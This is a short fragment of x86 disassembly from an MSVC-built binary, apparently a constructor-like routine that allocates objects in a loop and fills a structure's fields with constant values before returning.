mov dword [edi - 0x20], eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov dword [edi + 8], eax
add esp, 0x10
add edi, 4
dec ebp
jne 0x100010e4
lea eax, [esi + 0x46]
xor ecx, ecx
mov edx, eax
pop edi
mov dword [edx], ecx
mov dword [edx + 4], ecx
mov dword [edx + 8], ecx
mov dword [edx + 0xc], ecx
mov dword [edx + 0x10], ecx
mov word [eax], 0x31
mov word [esi + 0x48], 1
mov dword [esi + 0x4a], 0x1f40
mov dword [esi + 0x4e], 0x659
mov word [esi + 0x52], 0x41
mov word [esi + 0x54], bx
mov word [esi + 0x56], 2
mov word [esi + 0x58], 0x140
mov eax, esi
pop esi
pop ebp
pop ebx
add esp, 0x20
ret